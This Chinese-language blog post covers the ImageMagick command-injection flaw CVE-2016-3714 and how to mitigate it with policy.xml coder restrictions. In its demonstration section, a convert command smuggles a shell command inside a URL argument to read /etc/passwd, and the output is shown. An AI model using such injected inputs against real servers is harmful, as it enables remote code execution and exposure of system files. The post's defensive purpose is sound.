跳转至

ImageMagick 注入漏洞 (CVE-2016-3714)


2016-05-05 by dongnan

漏洞描述

ImageMagick是一款广泛流行的图像处理软件。近日该软件被爆出存在远程代码执行漏洞,编号为CVE-2016–3714

此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。由于 ImageMagick 应用十分广泛,目前已确定 Wordpress 等知名应用受此漏洞影响。

漏洞范围

受漏洞影响的版本 ImageMagick <= 6.9.3-9

php模块

php -m | grep imagick
imagick

详细信息

php -i | grep -i "imagick"
#....省略
Imagick compiled with ImageMagick version => ImageMagick 6.7.2-7 2015-07-23 Q16 http://www.imagemagick.org

漏洞展示

# 执行命令
convert 'https://example.com"|head -n3 /etc/passwd"' out.png

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
convert: no decode delegate for this image format `/tmp/magick-I9qDSJxL' @ error/constitute.c/ReadImage/566.
convert: missing an image filename `out.png' @ error/convert.c/ConvertImageCommand/3015.

解决方法

使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作。

编辑配置文件

# 执行命令
vim /etc/ImageMagick/policy.xml

添加字段

<policymap>
  <!-- 2016-05-05 20:20 /> -->
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

验证

# 执行命令
convert 'https://example.com"|head -n3 /etc/passwd"' out.png
convert: not authorized `//example.com"|head -n3 /etc/passwd"' @ error/constitute.c/ReadImage/453.
convert: missing an image filename `out.png' @ error/convert.c/ConvertImageCommand/3015.



回到页面顶部